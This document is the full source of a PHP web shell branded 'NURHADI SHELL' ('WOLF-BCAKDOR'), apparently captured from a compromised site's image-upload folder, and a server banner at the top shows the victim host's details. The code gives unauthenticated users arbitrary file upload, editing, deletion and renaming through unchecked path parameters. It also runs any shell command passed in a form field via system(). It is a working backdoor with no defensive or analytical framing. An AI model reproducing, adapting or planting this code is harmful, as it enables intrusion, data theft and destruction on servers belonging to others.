|
Server : Apache System : Linux p3plzcpnl507073.prod.phx3.secureserver.net 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : swg98tjyzel1 ( 5098476) PHP Version : 8.1.34 Disable Function : NONE Directory : /home/swg98tjyzel1/public_html/bityatra.com/upload_image/ |
Upload File : |
<?php
// Fungsi untuk membaca direktori dan menampilkan daftar file dan folder
function listFiles($dir) {
$files = scandir($dir);
// Pisahkan folder dan file
$folders = [];
$regularFiles = [];
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$filePath = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($filePath)) {
$folders[] = $file;
} else {
$regularFiles[] = $file;
}
}
}
// Gabungkan folder dan file
$sortedFiles = array_merge($folders, $regularFiles);
// Tampilkan tabel
echo '<table class="table table-dark table-hover table-bordered">';
echo '<thead>
<tr>
<th style="font-size: 1rem;">File Name</th>
<th style="font-size: 1rem;">Size</th>
<th style="font-size: 1rem;">Actions</th>
</tr>
</thead>';
echo '<tbody>';
foreach ($sortedFiles as $file) {
$filePath = $dir . DIRECTORY_SEPARATOR . $file;
$fileSize = is_dir($filePath) ? '<span class="badge bg-primary">Folder</span>' : filesize($filePath) . ' bytes';
echo '<tr>';
echo '<td style="font-size: 0.9rem;">' . htmlspecialchars($file) . '</td>';
echo '<td style="font-size: 0.9rem;">' . $fileSize . '</td>';
echo '<td style="font-size: 0.9rem;">
<a class="btn btn-sm btn-warning" href="?edit=' . urlencode($filePath) . '">Edit</a>
<a class="btn btn-sm btn-danger" href="?delete=' . urlencode($filePath) . '">Delete</a>
<a class="btn btn-sm btn-info" href="?rename=' . urlencode($filePath) . '">Rename</a>
</td>';
echo '</tr>';
}
echo '</tbody>';
echo '</table>';
}
// Fungsi untuk mengunggah file (mengizinkan semua jenis file)
if (isset($_POST['upload'])) {
$targetDir = isset($_GET['dir']) ? urldecode($_GET['dir']) : getcwd();
$targetFile = $targetDir . DIRECTORY_SEPARATOR . basename($_FILES['fileToUpload']['name']);
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $targetFile)) {
echo '<div class="alert alert-success">File uploaded successfully!</div>';
} else {
echo '<div class="alert alert-danger">Failed to upload file.</div>';
}
}
// Fungsi untuk menghapus file
if (isset($_GET['delete'])) {
$filePath = urldecode($_GET['delete']);
if (is_file($filePath) && unlink($filePath)) {
echo '<div class="alert alert-success">File deleted successfully!</div>';
} else {
echo '<div class="alert alert-danger">Failed to delete file.</div>';
}
}
// Fungsi untuk mengedit file
if (isset($_GET['edit'])) {
$filePath = urldecode($_GET['edit']);
if (is_file($filePath)) {
if (isset($_POST['newContent'])) {
file_put_contents($filePath, $_POST['newContent']);
echo '<div class="alert alert-success">File updated successfully!</div>';
}
$content = htmlspecialchars(file_get_contents($filePath));
echo '<form method="POST" class="mb-4">';
echo '<textarea name="newContent" rows="10" class="form-control mb-3">' . $content . '</textarea>';
echo '<button type="submit" class="btn btn-primary btn-sm">Save Changes</button>';
echo '</form>';
}
}
// Fungsi untuk mengganti nama file
if (isset($_GET['rename'])) {
$filePath = urldecode($_GET['rename']);
if (is_file($filePath) || is_dir($filePath)) {
if (isset($_POST['newName'])) {
$newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
if (rename($filePath, $newPath)) {
echo '<div class="alert alert-success">File renamed successfully!</div>';
} else {
echo '<div class="alert alert-danger">Failed to rename file.</div>';
}
}
echo '<form method="POST" class="mb-4">';
echo '<input type="text" name="newName" class="form-control mb-3" placeholder="Enter new name" required>';
echo '<button type="submit" class="btn btn-primary btn-sm">Rename</button>';
echo '</form>';
}
}
// Fungsi untuk menjalankan perintah terminal
if (isset($_POST['command'])) {
$command = $_POST['command'];
ob_start();
system($command, $output);
$result = ob_get_clean();
echo '<div class="alert alert-secondary text-dark"><pre>' . htmlspecialchars($result) . '</pre></div>';
}
// Direktori saat ini
$currentDir = isset($_GET['dir']) ? urldecode($_GET['dir']) : getcwd();
?>
<!DOCTYPE html>
<html>
<head>
<title>WOLF-BCAKDOR</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Creepster&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Creepster', cursive;
background-color: #000000;
color: #ff0000;
text-shadow: 0 0 10px #ff0000, 0 0 20px #8b0000;
}
.header img {
width: 150px;
height: 150px;
margin-bottom: 15px;
border-radius: 50%;
border: 3px solid #8b0000;
box-shadow: 0 0 15px #ff0000;
}
.header h1 {
font-size: 3rem;
margin: 0;
color: #ff0000;
text-shadow: 0 0 15px #8b0000, 0 0 30px #ff0000;
animation: flicker 1.5s infinite alternate;
}
.container {
max-width: 100%;
margin: 0 auto;
padding: 20px;
}
table {
width: 100%;
background-color: #121212;
border: 1px solid #8b0000;
color: #ffffff;
text-shadow: 0 0 5px #8b0000;
font-size: 1rem;
}
th, td {
border: 1px solid #8b0000;
}
.btn {
font-size: 0.9rem;
background-color: #8b0000;
border: none;
color: #ffffff;
box-shadow: 0 0 5px #ff0000;
}
.btn:hover {
background-color: #ff0000;
color: #000000;
}
pre {
background-color: #121212;
color: #ff0000;
padding: 12px;
border-radius: 5px;
font-size: 1rem;
text-shadow: 0 0 10px #8b0000;
}
@keyframes flicker {
0% { opacity: 1; }
50% { opacity: 0.8; }
100% { opacity: 1; }
}
@media (max-width: 1200px) {
.container {
max-width: 90%;
}
}
@media (max-width: 767px) {
.header h1 {
font-size: 2rem;
}
.container {
max-width: 95%;
padding: 10px;
}
.btn {
font-size: 0.8rem;
}
table {
font-size: 0.9rem;
}
}
/* Gaya untuk judul Current Directory */
h4 {
font-size: 1.1rem;
color: #ff0000; /* Mengubah warna teks menjadi merah */
text-align: left; /* Memastikan teks sejajar kiri */
margin: 0;
}
</style>
</head>
<body>
<div class="container mt-5 text-center">
<div class="header">
<img src="https://k.top4top.io/p_3348wl3am0.jpg" alt="Logo">
<h1>NURHADI SHELL</h1>
</div>
<!-- Menampilkan direktori saat ini -->
<h4>Current Directory: <span><?php echo htmlspecialchars($currentDir); ?></span></h4>
<!-- Form Upload -->
<form method="POST" enctype="multipart/form-data" class="mb-4">
<div class="input-group mb-3">
<input type="file" name="fileToUpload" class="form-control" required>
<button type="submit" name="upload" class="btn btn-danger btn-sm">Upload</button>
</div>
</form>
<!-- Terminal -->
<h4 class="mt-5">Terminal</h4>
<form method="POST" class="mb-4">
<div class="input-group mb-3">
<input type="text" name="command" class="form-control" placeholder="Enter command" required>
<button type="submit" class="btn btn-danger btn-sm">Execute</button>
</div>
</form>
<?php
// Menampilkan daftar file dan folder
listFiles($currentDir);
?>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>